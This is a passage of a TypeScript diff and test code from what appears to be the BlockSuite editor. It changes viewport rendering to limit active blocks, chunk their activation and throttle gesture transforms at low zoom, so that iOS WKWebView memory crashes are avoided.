configurable: true,
get: () => 844,
});
shell.getBoundingClientRect = () => new DOMRect(0, 0, 844, 390);
(
gfx.viewport as unknown as {
_shell: HTMLElement;
_cachedBoundingClientRect: DOMRect;
_cachedOffsetWidth: number;
}
)._shell = shell;
(
gfx.viewport as unknown as {
_shell: HTMLElement;
_cachedBoundingClientRect: DOMRect;
_cachedOffsetWidth: number;
}
)._cachedBoundingClientRect = new DOMRect(0, 0, 844, 390);
(
gfx.viewport as unknown as {
_shell: HTMLElement;
_cachedBoundingClientRect: DOMRect;
_cachedOffsetWidth: number;
}
)._cachedOffsetWidth = 844;
selectedView.transformState$.value = 'active';
inViewportView.transformState$.value = 'active';
outOfViewportView.transformState$.value = 'active';
gfx.viewport.onResize();
expect(selectedView.transformState$.value).toBe('active');
expect(inViewportView.transformState$.value).toBe('survival');
expect(outOfViewportView.transformState$.value).toBe('idle');
});
test('resize completion clears low-zoom gesture recovery before sizeUpdated subscribers run', async () => {
const { gfx } = await commonSetup();
gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
const shell = document.createElement('div');
Object.defineProperty(shell, 'offsetWidth', {
configurable: true,
get: () => 844,
});
shell.getBoundingClientRect = () => new DOMRect(0, 0, 844, 390);
(
gfx.viewport as unknown as {
_shell: HTMLElement;
_cachedBoundingClientRect: DOMRect;
_cachedOffsetWidth: number;
}
)._shell = shell;
(
gfx.viewport as unknown as {
_shell: HTMLElement;
_cachedBoundingClientRect: DOMRect;
_cachedOffsetWidth: number;
}
)._cachedBoundingClientRect = new DOMRect(0, 0, 844, 390);
(
gfx.viewport as unknown as {
_shell: HTMLElement;
_cachedBoundingClientRect: DOMRect;
_cachedOffsetWidth: number;
}
)._cachedOffsetWidth = 844;
let panningAtSizeUpdated: boolean | null = null;
let zoomingAtSizeUpdated: boolean | null = null;
let blockSurvivalAtSizeUpdated: boolean | null = null;
let canvasRecoveryDelayAtSizeUpdated: number | null = null;
const subscription = gfx.viewport.sizeUpdated.subscribe(() => {
const gestureActive =
gfx.viewport.panning$.value || gfx.viewport.zooming$.value;
panningAtSizeUpdated = gfx.viewport.panning$.value;
zoomingAtSizeUpdated = gfx.viewport.zooming$.value;
blockSurvivalAtSizeUpdated = shouldUseLowZoomBlockSurvivalMode({
zoom: gfx.viewport.zoom,
skipRefreshDuringGesture: gfx.viewport.SKIP_REFRESH_DURING_GESTURE,
gestureActive,
});
canvasRecoveryDelayAtSizeUpdated = getPostGestureRecoveryDelay({
isPanning: gfx.viewport.panning$.value,
isZooming: gfx.viewport.zooming$.value,
fallbackDelayMs: 800,
});
});
gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
gfx.viewport.onResize();
await new Promise(resolve => setTimeout(resolve, 300));
subscription.unsubscribe();
expect(panningAtSizeUpdated).toBe(false);
expect(zoomingAtSizeUpdated).toBe(false);
expect(blockSurvivalAtSizeUpdated).toBe(false);
expect(canvasRecoveryDelayAtSizeUpdated).toBe(0);
});
test('local element view should be created', async () => {
const { gfx, surfaceModel } = await commonSetup();
const localElement = new TestLocalElement(surfaceModel);
@@ -1,3 +1,4 @@
import type { Bound } from '@blocksuite/global/gfx';
import { WithDisposable } from '@blocksuite/global/lit';
import { batch } from '@preact/signals-core';
import { css, html } from 'lit';
@@ -11,7 +12,11 @@ import {
import { PropTypes, requiredProperties } from '../view/decorators/required';
import { GfxControllerIdentifier } from './identifiers';
import { GfxBlockElementModel } from './model/gfx-block-model';
import { Viewport } from './viewport';
import {
getPostGestureRecoveryDelay,
Viewport,
viewportRuntimeConfig,
} from './viewport';
/**
* A wrapper around `requestConnectedFrame` that only calls at most once in one frame
@@ -37,6 +42,123 @@ export function requestThrottledConnectedFrame<
}) as T;
}
export function getGestureTransformMinInterval({
isPureTranslate,
zoom,
}: {
isPureTranslate: boolean;
zoom: number;
}) {
if (!isPureTranslate) {
return 32;
}
return zoom <= 0.5 ? 32 : 0;
}
export function shouldSkipGestureTransformWrite({
isPureTranslate,
zoom,
elapsedMs,
}: {
isPureTranslate: boolean;
zoom: number;
elapsedMs: number;
}) {
const minInterval = getGestureTransformMinInterval({
isPureTranslate,
zoom,
});
return minInterval > 0 && elapsedMs < minInterval;
}
const LOW_ZOOM_BLOCK_SURVIVAL_THRESHOLD = 0.5;
export function shouldUseLowZoomBlockSurvivalMode({
zoom,
skipRefreshDuringGesture,
gestureActive,
}: {
zoom: number;
skipRefreshDuringGesture: boolean;
gestureActive: boolean;
}) {
return (
skipRefreshDuringGesture &&
gestureActive &&
zoom <= LOW_ZOOM_BLOCK_SURVIVAL_THRESHOLD
);
}
export function getLowZoomGestureActiveModels<
T extends { elementBound: Bound; id: string },
>({
selectedModels,
viewportModels,
viewportBounds,
nearbyActiveBlockLimit,
nearbyDistanceRatio,
}: {
selectedModels: Set<T>;
viewportModels: Set<T>;
viewportBounds: Bound;
nearbyActiveBlockLimit: number;
nearbyDistanceRatio: number;
}): Set<T> {
const activeModels = new Set<T>(selectedModels);
if (nearbyActiveBlockLimit <= 0) {
return activeModels;
}
const viewportCenter = viewportBounds.center;
const maxNearbyDistance =
Math.min(viewportBounds.w, viewportBounds.h) * nearbyDistanceRatio;
if (selectedModels.size === 0) {
const fallback = [...viewportModels]
.sort((left, right) => {
const [leftX, leftY] = left.elementBound.center;
const [rightX, rightY] = right.elementBound.center;
const leftDistance = Math.hypot(
leftX - viewportCenter[0],
leftY - viewportCenter[1]
);
const rightDistance = Math.hypot(
rightX - viewportCenter[0],
rightY - viewportCenter[1]
);
return leftDistance - rightDistance;
})
.slice(0, nearbyActiveBlockLimit);
fallback.forEach(model => activeModels.add(model));
return activeModels;
}
const selectedCenters = [...selectedModels].map(
model => model.elementBound.center
);
const nearbyCandidates = [...viewportModels]
.filter(model => !selectedModels.has(model))
.map(model => {
const [x, y] = model.elementBound.center;
const distance = Math.min(
...selectedCenters.map(([selectedX, selectedY]) =>
Math.hypot(x - selectedX, y - selectedY)
)
);
return { distance, model };
})
.filter(candidate => candidate.distance <= maxNearbyDistance)
.sort((left, right) => left.distance - right.distance)
.slice(0, nearbyActiveBlockLimit);
nearbyCandidates.forEach(candidate => activeModels.add(candidate.model));
return activeModels;
}
@requiredProperties({
viewport: PropTypes.instanceOf(Viewport),
})
@@ -45,6 +167,20 @@ export class GfxViewportElement extends WithDisposable(ShadowlessElement) {
private static readonly VIEWPORT_REFRESH_MAX_INTERVAL = 120;
private get _pixelThreshold() {
return (
this.viewport?.VIEWPORT_REFRESH_PIXEL_THRESHOLD ??
GfxViewportElement.VIEWPORT_REFRESH_PIXEL_THRESHOLD
);
}
private get _maxInterval() {
return (
this.viewport?.VIEWPORT_REFRESH_MAX_INTERVAL ??
GfxViewportElement.VIEWPORT_REFRESH_MAX_INTERVAL
);
}
static override styles = css`
gfx-viewport {
position: absolute;
@@ -63,38 +199,163 @@ export class GfxViewportElement extends WithDisposable(ShadowlessElement) {
contain: size layout style;
}
/*
* Mobile (SKIP_REFRESH_DURING_GESTURE) drives gestures with a single
* container-level transform on <gfx-viewport>; the idle blocks never
* change their own transform during the gesture. In that mode
* 'will-change: transform' is actively harmful: WKWebView promotes every
* hidden idle block (100+) to its own compositing layer and re-transforms
* all of them each frame, producing a ~100ms main-thread/compositor stall
* that terminates the web content process. Releasing the hint lets them
* ride along as raster content of the single container layer.
* Desktop (no attribute) keeps will-change because it transforms blocks
* individually per frame, where the hint is a real win.
*/
gfx-viewport[data-skip-gesture-refresh] .block-idle {
will-change: auto;
}
/* CSS for active blocks participating in viewport transformations */
.block-active {
visibility: visible;
pointer-events: auto;
}
/* Survival blocks stay visually mounted but stop participating in input. */
.block-survival {
visibility: visible;
pointer-events: none;
}
`;
private readonly _parkedBlockViews = new Map<
string,
{ placeholder: Comment; view: HTMLElement }
>();
private readonly _parkedBlockFragment = document.createDocumentFragment();
private _shouldParkIdleBlocks() {
return (
shouldUseLowZoomBlockSurvivalMode({
zoom: this.viewport.zoom,
skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
gestureActive:
this.viewport.panning$.value || this.viewport.zooming$.value,
}) && this.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT > 0
);
}
private _restoreParkedBlockViews() {
this._parkedBlockViews.forEach(({ placeholder, view }) => {
if (placeholder.parentNode === this) {
placeholder.replaceWith(view);
} else if (!view.isConnected) {
this.append(view);
}
placeholder.remove();
});
this._parkedBlockViews.clear();
}
private _syncMountedBlockViews(
shouldRemainMounted: Set<GfxBlockElementModel>
) {
if (!this.host) return;
if (!this._shouldParkIdleBlocks()) {
this._restoreParkedBlockViews();
return;
}
const gfx = this.host.std.get(GfxControllerIdentifier);
gfx.std.view.views.forEach(view => {
if (!isGfxBlockComponent(view)) return;
const parked = this._parkedBlockViews.get(view.model.id);
if (shouldRemainMounted.has(view.model)) {
if (parked) {
if (parked.placeholder.parentNode === this) {
parked.placeholder.replaceWith(view);
} else if (!view.isConnected) {
this.append(view);
}
parked.placeholder.remove();
this._parkedBlockViews.delete(view.model.id);
} else if (!view.isConnected || view.parentElement !== this) {
this.append(view);
}
return;
}
if (parked || view.parentElement !== this) {
return;
}
const placeholder = document.createComment(`parked:${view.model.id}`);
this.replaceChild(placeholder, view);
this._parkedBlockFragment.append(view);
this._parkedBlockViews.set(view.model.id, {
placeholder,
view,
});
});
}
private readonly _hideOutsideAndNoSelectedBlock = () => {
if (!this.host) return;
const gfx = this.host.std.get(GfxControllerIdentifier);
const currentViewportModels = this.getModelsInViewport();
const currentSelectedModels = this._getSelectedModels();
const shouldBeVisible = new Set([
...currentViewportModels,
...currentSelectedModels,
]);
const shouldUseSurvivalMode = shouldUseLowZoomBlockSurvivalMode({
zoom: this.viewport.zoom,
skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
gestureActive:
this.viewport.panning$.value || this.viewport.zooming$.value,
});
const shouldLimitActiveModels =
shouldUseSurvivalMode &&
this.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT > 0;
const limitedActiveModels = shouldLimitActiveModels
? getLowZoomGestureActiveModels({
selectedModels: currentSelectedModels,
viewportModels: currentViewportModels,
viewportBounds: this.viewport.viewportBounds,
nearbyActiveBlockLimit:
this.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT,
nearbyDistanceRatio:
this.viewport.LOW_ZOOM_GESTURE_ACTIVE_DISTANCE_RATIO,
})
: null;
const shouldBeVisible =
limitedActiveModels ??
new Set([...currentViewportModels, ...currentSelectedModels]);
const previousVisible = this._lastVisibleModels
? new Set(this._lastVisibleModels)
: new Set<GfxBlockElementModel>();
const candidatesToHide = new Set(previousVisible);
if (!this._lastVisibleModels) {
this.host.std.view.views.forEach(view => {
if (!isGfxBlockComponent(view)) return;
candidatesToHide.add(view.model);
});
}
batch(() => {
// Step 1: Activate all the blocks that should be visible
shouldBeVisible.forEach(model => {
const view = gfx.view.get(model);
if (!isGfxBlockComponent(view)) return;
view.transformState$.value = 'active';
view.transformState$.value = shouldLimitActiveModels
? 'active'
: shouldUseSurvivalMode && !currentSelectedModels.has(model)
? 'survival'
: 'active';
});
// Step 2: Hide all the blocks that should not be visible
previousVisible.forEach(model => {
candidatesToHide.forEach(model => {
if (shouldBeVisible.has(model)) return;
const view = gfx.view.get(model);
@@ -103,11 +364,161 @@ export class GfxViewportElement extends WithDisposable(ShadowlessElement) {
});
});
this._syncMountedBlockViews(shouldBeVisible);
this._lastVisibleModels = shouldBeVisible;
};
/**
* Chunked version of _hideOutsideAndNoSelectedBlock that processes blocks
* in batches across multiple frames to prevent memory spikes on mobile.
* Returns a cancel function.
*/
private _chunkedHideOutsideAndNoSelectedBlock(
onComplete?: () => void
): () => void {
if (!this.host) return () => {};
const gfx = this.host.std.get(GfxControllerIdentifier);
const currentViewportModels = this.getModelsInViewport();
const currentSelectedModels = this._getSelectedModels();
const shouldUseSurvivalMode = shouldUseLowZoomBlockSurvivalMode({
zoom: this.viewport.zoom,
skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
gestureActive:
this.viewport.panning$.value || this.viewport.zooming$.value,
});
const shouldLimitActiveModels =
shouldUseSurvivalMode &&
this.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT > 0;
const limitedActiveModels = shouldLimitActiveModels
? getLowZoomGestureActiveModels({
selectedModels: currentSelectedModels,
viewportModels: currentViewportModels,
viewportBounds: this.viewport.viewportBounds,
nearbyActiveBlockLimit:
this.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT,
nearbyDistanceRatio:
this.viewport.LOW_ZOOM_GESTURE_ACTIVE_DISTANCE_RATIO,
})
: null;
const shouldBeVisible =
limitedActiveModels ??
new Set([...currentViewportModels, ...currentSelectedModels]);
const previousVisible = this._lastVisibleModels
? new Set(this._lastVisibleModels)
: new Set<GfxBlockElementModel>();
const candidatesToHide = new Set(previousVisible);
if (!this._lastVisibleModels) {
this.host.std.view.views.forEach(view => {
if (!isGfxBlockComponent(view)) return;
candidatesToHide.add(view.model);
});
}
// Compute which blocks need activation and which need hiding
const toActivate: GfxBlockElementModel[] = [];
shouldBeVisible.forEach(model => {
if (!previousVisible.has(model)) {
toActivate.push(model);
} else {
// Already visible, just ensure state is correct
const view = gfx.view.get(model);
if (!isGfxBlockComponent(view)) {
return;
}
const targetState = shouldLimitActiveModels
? 'active'
: shouldUseSurvivalMode && !currentSelectedModels.has(model)
? 'survival'
: 'active';
if (view.transformState$.value !== targetState) {
toActivate.push(model);
}
}
});
const toHide: GfxBlockElementModel[] = [];
candidatesToHide.forEach(model => {
if (!shouldBeVisible.has(model)) {
toHide.push(model);
}
});
this._lastVisibleModels = shouldBeVisible;
// Hide blocks immediately (cheap: just sets visibility:hidden)
if (toHide.length > 0) {
batch(() => {
toHide.forEach(model => {
const view = gfx.view.get(model);
if (!isGfxBlockComponent(view)) return;
view.transformState$.value = 'idle';
});
});
}
this._syncMountedBlockViews(shouldBeVisible);
// Activate blocks in chunks to prevent memory spikes
const CHUNK_SIZE = 8;
let chunkIndex = 0;
let cancelled = false;
let rafId: number | null = null;
const processNextChunk = () => {
if (cancelled) return;
const start = chunkIndex * CHUNK_SIZE;
const end = Math.min(start + CHUNK_SIZE, toActivate.length);
if (start >= toActivate.length) {
onComplete?.();
return;
}
batch(() => {
for (let i = start; i < end; i++) {
const model = toActivate[i];
const view = gfx.view.get(model);
if (!isGfxBlockComponent(view)) continue;
view.transformState$.value = shouldLimitActiveModels
? 'active'
: shouldUseSurvivalMode && !currentSelectedModels.has(model)
? 'survival'
: 'active';
}
});
chunkIndex++;
if (chunkIndex * CHUNK_SIZE < toActivate.length) {
rafId = requestAnimationFrame(processNextChunk);
} else {
onComplete?.();
}
};
// Start first chunk immediately (synchronous for responsiveness)
if (toActivate.length > 0) {
processNextChunk();
} else {
onComplete?.();
}
return () => {
cancelled = true;
if (rafId !== null) {
cancelAnimationFrame(rafId);
rafId = null;
}
};
}
private _lastVisibleModels?: Set<GfxBlockElementModel>;
private _pendingChunkedHideCancel: (() => void) | null = null;
private _lastViewportUpdate?: { zoom: number; center: [number, number] };
private _lastViewportRefreshTime = 0;
@@ -134,19 +545,49 @@ export class GfxViewportElement extends WithDisposable(ShadowlessElement) {
}
}
private _cancelPendingChunkedHide() {
if (this._pendingChunkedHideCancel) {
this._pendingChunkedHideCancel();
this._pendingChunkedHideCancel = null;
}
}
private _scheduleChunkedHide(onComplete?: () => void) {
this._cancelPendingChunkedHide();
this._pendingChunkedHideCancel = this._chunkedHideOutsideAndNoSelectedBlock(
() => {
this._pendingChunkedHideCancel = null;
onComplete?.();
}
);
}
private _scheduleTrailingViewportRefresh() {
this._clearPendingViewportRefreshTimer();
this._pendingViewportRefreshTimer = globalThis.setTimeout(() => {
this._pendingViewportRefreshTimer = null;
this._lastViewportRefreshTime = performance.now();
this._refreshViewport();
}, GfxViewportElement.VIEWPORT_REFRESH_MAX_INTERVAL);
}, this._maxInterval);
}
private _refreshViewportByViewportUpdate(update: {
zoom: number;
center: [number, number];
}) {
// When SKIP_REFRESH_DURING_GESTURE is enabled, defer all DOM mutations
// until panning/zooming ends to prevent main thread blocking
if (
this.viewport?.SKIP_REFRESH_DURING_GESTURE &&
(this.viewport.panning$.value || this.viewport.zooming$.value)
) {
this._lastViewportUpdate = {
zoom: update.zoom,
center: [update.center[0], update.center[1]],
};
return;
}
const now = performance.now();
const previous = this._lastViewportUpdate;
this._lastViewportUpdate = {
@@ -166,13 +607,11 @@ export class GfxViewportElement extends WithDisposable(ShadowlessElement) {
(update.center[1] - previous.center[1]) * update.zoom
);
const timeoutReached =
now - this._lastViewportRefreshTime >=
GfxViewportElement.VIEWPORT_REFRESH_MAX_INTERVAL;
now - this._lastViewportRefreshTime >= this._maxInterval;
if (
zoomChanged ||
centerMovedInPixel >=
GfxViewportElement.VIEWPORT_REFRESH_PIXEL_THRESHOLD ||
centerMovedInPixel >= this._pixelThreshold ||
timeoutReached
) {
this._clearPendingViewportRefreshTimer();
@@ -197,17 +636,303 @@ export class GfxViewportElement extends WithDisposable(ShadowlessElement) {
this._refreshViewportByViewportUpdate(update)
)
);
this.disposables.add(
this.viewport.zoomUpdated.subscribe(({ previousZoom, zoom }) => {
const previousMode = shouldUseLowZoomBlockSurvivalMode({
zoom: previousZoom,
skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
gestureActive:
this.viewport.panning$.value || this.viewport.zooming$.value,
});
const nextMode = shouldUseLowZoomBlockSurvivalMode({
zoom,
skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
gestureActive:
this.viewport.panning$.value || this.viewport.zooming$.value,
});
if (previousMode !== nextMode) {
this._hideOutsideAndNoSelectedBlock();
}
})
);
this.disposables.add(
this.viewport.resizeStarted.subscribe(() => {
if (
!shouldUseLowZoomBlockSurvivalMode({
zoom: this.viewport.zoom,
skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
gestureActive:
this.viewport.panning$.value || this.viewport.zooming$.value,
})
) {
return;
}
this._clearPendingViewportRefreshTimer();
this._lastViewportRefreshTime = performance.now();
this._lastVisibleModels = undefined;
this._scheduleChunkedHide();
})
);
this.disposables.add(
this.viewport.sizeUpdated.subscribe(() => {
this._clearPendingViewportRefreshTimer();
this._lastViewportRefreshTime = performance.now();
this._refreshViewport();
// When SKIP_REFRESH_DURING_GESTURE is enabled, use chunked activation
// on resize (orientation change) to avoid a synchronous full refresh
// that causes white-screen flash on landscape with many elements.
if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
this._scheduleChunkedHide(() => {
this.viewport.viewportUpdated.next({
zoom: this.viewport.zoom,
center: [this.viewport.centerX, this.viewport.centerY],
});
});
} else {
this._refreshViewport();
}
})
);
if (!this.host) {
return;
}
this.disposables.add(
this.host.std.view.viewUpdated.subscribe(payload => {
if (payload.type !== 'block' || payload.method !== 'add') return;
if (!isGfxBlockComponent(payload.view)) return;
const currentSelectedModels = this._getSelectedModels();
const shouldUseSurvivalMode = shouldUseLowZoomBlockSurvivalMode({
zoom: this.viewport.zoom,
skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
gestureActive:
this.viewport.panning$.value || this.viewport.zooming$.value,
});
const isSelected = currentSelectedModels.has(payload.view.model);
const isInViewport = this.getModelsInViewport().has(payload.view.model);
const shouldLimitActiveModels =
shouldUseSurvivalMode &&
this.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT > 0;
const activeModels = shouldLimitActiveModels
? getLowZoomGestureActiveModels({
selectedModels: currentSelectedModels,
viewportModels: this.getModelsInViewport(),
viewportBounds: this.viewport.viewportBounds,
nearbyActiveBlockLimit:
this.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT,
nearbyDistanceRatio:
this.viewport.LOW_ZOOM_GESTURE_ACTIVE_DISTANCE_RATIO,
})
: null;
payload.view.transformState$.value = isSelected
? 'active'
: isInViewport
? shouldLimitActiveModels
? activeModels?.has(payload.view.model)
? 'active'
: 'idle'
: shouldUseSurvivalMode
? 'survival'
: 'active'
: 'idle';
if (shouldLimitActiveModels && this._shouldParkIdleBlocks()) {
this._syncMountedBlockViews(activeModels ?? new Set());
}
})
);
// When SKIP_REFRESH_DURING_GESTURE is enabled, do one final refresh
// after panning/zooming ends to sync block visibility.
// Uses setTimeout (not requestIdleCallback) to guarantee a minimum delay
// before heavy work starts. requestIdleCallback fires immediately when
// idle, which doesn't protect against the "quick pause then resume" pattern.
// Uses chunked block activation to prevent memory spikes on mobile.
// Cancel if a new gesture starts before completion.
if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
// Marks this element so the stylesheet can drop 'will-change: transform'
// from idle blocks (see styles above): in this mode the gesture is driven
// by one container transform, so per-block layer promotion is pure
// overhead and stalls WKWebView's compositor.
this.dataset.skipGestureRefresh = '';
let pendingTimerId: ReturnType<typeof setTimeout> | null = null;
let cancelChunked: (() => void) | null = null;
// --- Container-level CSS transform during gestures ---
// Instead of updating N block transforms per frame (expensive),
// apply a single CSS transform on this element that represents the
// relative zoom/pan delta from the gesture start state.
// This keeps WKWebView's compositor in sync with only 1 DOM write/frame.
let gestureBaseZoom: number | null = null;
let gestureBaseTranslateX: number | null = null;
let gestureBaseTranslateY: number | null = null;
let gestureRAF: number | null = null;
let lastTransformTime = 0;
const applyContainerTransform = () => {
gestureRAF = null;
if (gestureBaseZoom === null) return;
const { zoom, translateX, translateY } = this.viewport;
const relativeScale = zoom / gestureBaseZoom;
const isPureTranslate = Math.abs(relativeScale - 1) < 1e-3;
const now = performance.now();
// Scale gestures were already throttled here. The new evidence shows the
// crash can still happen while all editor/scroll counters stay at zero,
// which points back to this gesture-time container transform path.
// On iOS at far-out zoom (the 0.4 repro band), even pure translate can
// still move a very large layer tree (17 canvases + active blocks). So
// we now also throttle pure-translate writes in that zoom band instead of
// assuming they are always cheap.
if (
shouldSkipGestureTransformWrite({
isPureTranslate,
zoom,
elapsedMs: now - lastTransformTime,
})
) {
gestureRAF = requestAnimationFrame(applyContainerTransform);
return;
}
lastTransformTime = now;
// Container transform: scale changes block sizes, translate compensates
// for the center shift. Formula: final_pos = container_translate + scale * base_pos
// We need: container_translate + scale * base_pos = current_pos
// => container_translate = current_translate - scale * base_translate
const dx = translateX - relativeScale * gestureBaseTranslateX!;
const dy = translateY - relativeScale * gestureBaseTranslateY!;
// Pure pan (relativeScale === 1) is the common gesture and the one that
// crashes WKWebView's compositor: a transform that carries scale() keeps
// the layer on the "non-trivial transform" path, so WebKit re-rasterizes
// the whole container — and with OVERSCAN_RATIO that canvas area is
// roughly 2x the visible area behind many canvas layers, which overruns
// the GPU compositor (rafGap spikes while drift stays low). Emitting a bare
// translate() instead routes panning through the cheap layer-move fast
// path with no re-rasterization. The math is identical when scale === 1
// (dx/dy already reduce to the pan delta), so this is exact, not a
// visual approximation. scale() is only emitted for actual zoom.
this.style.transform = isPureTranslate
? `translate(${dx}px, ${dy}px)`
: `translate(${dx}px, ${dy}px) scale(${relativeScale})`;
this.style.transformOrigin = '0 0';
};
const scheduleContainerTransform = () => {
if (gestureRAF === null) {
gestureRAF = requestAnimationFrame(applyContainerTransform);
}
};
const startGestureTransform = () => {
gestureBaseZoom = this.viewport.zoom;
gestureBaseTranslateX = this.viewport.translateX;
gestureBaseTranslateY = this.viewport.translateY;
// Let the first frame of a new gesture apply immediately.
lastTransformTime = 0;
};
const clearContainerTransform = () => {
if (gestureRAF !== null) {
cancelAnimationFrame(gestureRAF);
gestureRAF = null;
}
gestureBaseZoom = null;
gestureBaseTranslateX = null;
gestureBaseTranslateY = null;
this.style.transform = 'none';
};
// --- End-of-gesture recovery ---
const cancelPendingRefresh = () => {
if (pendingTimerId !== null) {
clearTimeout(pendingTimerId);
pendingTimerId = null;
}
if (cancelChunked !== null) {
cancelChunked();
cancelChunked = null;
}
};
const scheduleIdleRefresh = () => {
cancelPendingRefresh();
const delayMs = getPostGestureRecoveryDelay({
isPanning: this.viewport.panning$.value,
isZooming: this.viewport.zooming$.value,
fallbackDelayMs: viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY,
});
pendingTimerId = setTimeout(() => {
pendingTimerId = null;
// If a gesture is still in-flight when the timer fires (e.g. inertial
// scroll or clamped setZoom at the zoom floor keeps re-arming the
// panning$/zooming$ debounce), do NOT drop the refresh — reschedule
// it. Dropping here is what left connectors/elements blank until the
// user tapped to force a synchronous refresh.
if (this.viewport.panning$.value || this.viewport.zooming$.value) {
scheduleIdleRefresh();
return;
}
// Remove container transform before per-block update
clearContainerTransform();
this._lastViewportRefreshTime = performance.now();
// Use chunked activation to spread block rendering across frames
cancelChunked = this._chunkedHideOutsideAndNoSelectedBlock(() => {
cancelChunked = null;
// After all blocks are activated, emit viewportUpdated
// to update individual block transforms
this.viewport.viewportUpdated.next({
zoom: this.viewport.zoom,
center: [this.viewport.centerX, this.viewport.centerY],
});
});
}, delayMs);
};
// Listen to panning$ to drive the container transform during gestures
// and handle end-of-gesture recovery
this.disposables.add(
this.viewport.panning$.subscribe(panning => {
if (panning) {
if (gestureBaseZoom === null) {
startGestureTransform();
}
scheduleContainerTransform();
cancelPendingRefresh();
} else {
scheduleIdleRefresh();
}
})
);
this.disposables.add(
this.viewport.zooming$.subscribe(zooming => {
if (zooming) {
if (gestureBaseZoom === null) {
startGestureTransform();
}
scheduleContainerTransform();
cancelPendingRefresh();
} else {
scheduleIdleRefresh();
}
})
);
this.disposables.add({
dispose: () => {
cancelPendingRefresh();
clearContainerTransform();
},
});
}
}
override disconnectedCallback(): void {
this._clearPendingViewportRefreshTimer();
this._cancelPendingChunkedHide();
this._restoreParkedBlockViews();
super.disconnectedCallback();
}
+298 -32
View File
@@ -23,6 +23,120 @@ export const ZOOM_INITIAL = 1.0;
export const FIT_TO_SCREEN_PADDING = 100;
/**
* Process-wide defaults applied to every {@link Viewport} at construction.
*
* Platforms that need different behavior (e.g. mobile/iOS, which must clamp the
* zoom floor and defer DOM mutations during gestures to avoid WKWebView process
* termination) override these once at startup, before any editor mounts. This
* guarantees both the editor and the readonly preview viewports are born with
* the same limits — avoiding the race and wrong-instance problems of patching a
* single Viewport asynchronously after it has already mounted.
*
* Desktop leaves these untouched, so its behavior is unchanged.
*/
export const viewportRuntimeConfig = {
ZOOM_MIN,
ZOOM_MAX,
VIEWPORT_REFRESH_PIXEL_THRESHOLD: 18,
VIEWPORT_REFRESH_MAX_INTERVAL: 120,
SKIP_REFRESH_DURING_GESTURE: false,
/**
* Delay (ms) before the post-gesture refresh repaints canvases and reactivates
* blocks, used only when {@link SKIP_REFRESH_DURING_GESTURE} is true. The same
* value drives both the canvas and block refresh timers so they fire together
* (avoiding the "blocks appear, then connectors" staggered reveal). Desktop
* never enters that code path, so this is mobile-only.
*/
POST_GESTURE_REFRESH_DELAY: 800,
/**
* Caps the canvas backing-store device-pixel-ratio at low zoom.
*
* Each entry is `[zoomThreshold, dprCap]`, sorted ascending by threshold.
* When the live zoom is below a threshold, the corresponding cap bounds the
* effective dpr used to size canvases. Far-out zoom makes content tiny on
* screen, so a full retina backing store is wasted memory — on iOS that waste
* is what pushes WKWebView past its compositing budget and crashes the web
* content process during pan/zoom.
*
* Empty (the desktop default) means no cap: canvases always use the raw
* `window.devicePixelRatio`, so desktop behavior is unchanged.
*/
CANVAS_DPR_CAP_BY_ZOOM: [] as Array<[number, number]>,
/**
* Fraction by which the *render/activation* viewport bound is enlarged on
* every side (see {@link Viewport.overscanViewportBounds}). Pre-painting a
* margin around the visible area means moderate pan/zoom gestures move into
* content that is already mounted and rasterized, so it does not blank out
* and wait for the post-gesture refresh.
*
* Memory grows by roughly `(1 + 2 * ratio) ** 2`, so this must stay modest
* and be paired with a zoom floor + dpr cap on mobile. `0` (desktop default)
* makes {@link Viewport.overscanViewportBounds} identical to
* {@link Viewport.viewportBounds}, leaving desktop behavior unchanged.
*
* This governs the *canvas* render bound only (see
* {@link Viewport.overscanViewportBounds}). It enlarges the canvas backing
* stores, so memory grows with the overscan area. Keep it modest and pair it
* with the mobile zoom floor + dpr cap so connectors/elements stay painted
* through a gesture without pushing WKWebView over budget.
*/
OVERSCAN_RATIO: 0,
/**
* Like {@link OVERSCAN_RATIO} but for the *DOM block mounting* bound (see
* {@link Viewport.overscanBlockBounds}). This one is expensive: every
* mounted block becomes its own composited layer subtree in the WebContent
* process, so enlarging it multiplies resident memory and is what pushes the
* process toward an iOS jetsam kill. Keep this small (or `0`) even when
* {@link OVERSCAN_RATIO} is generous. `0` (desktop default) leaves block
* mounting on the exact visible bound, unchanged from upstream.
*/
OVERSCAN_RATIO_BLOCK: 0,
/**
* During low-zoom gesture survival mode, keep only a tiny subset of DOM blocks
* as real active DOM (selected + a few nearby blocks). `0` keeps the legacy
* behavior where every viewport block remains visually mounted as `survival`.
*/
LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT: 0,
/**
* Distance threshold (as a fraction of the viewport's shorter side) used to
* decide whether an unselected viewport block counts as "nearby" to the
* current selection during low-zoom gesture survival mode.
*/
LOW_ZOOM_GESTURE_ACTIVE_DISTANCE_RATIO: 0.35,
};
export function getPostGestureRecoveryDelay({
isPanning,
isZooming,
fallbackDelayMs,
}: {
isPanning: boolean;
isZooming: boolean;
fallbackDelayMs: number;
}) {
return isPanning || isZooming ? fallbackDelayMs : 0;
}
/**
* Resolves the effective device-pixel-ratio for canvas backing stores at the
* given zoom, honoring {@link viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM}.
*
* Returns the raw `window.devicePixelRatio` when no cap applies.
*/
export function getEffectiveDpr(
zoom: number,
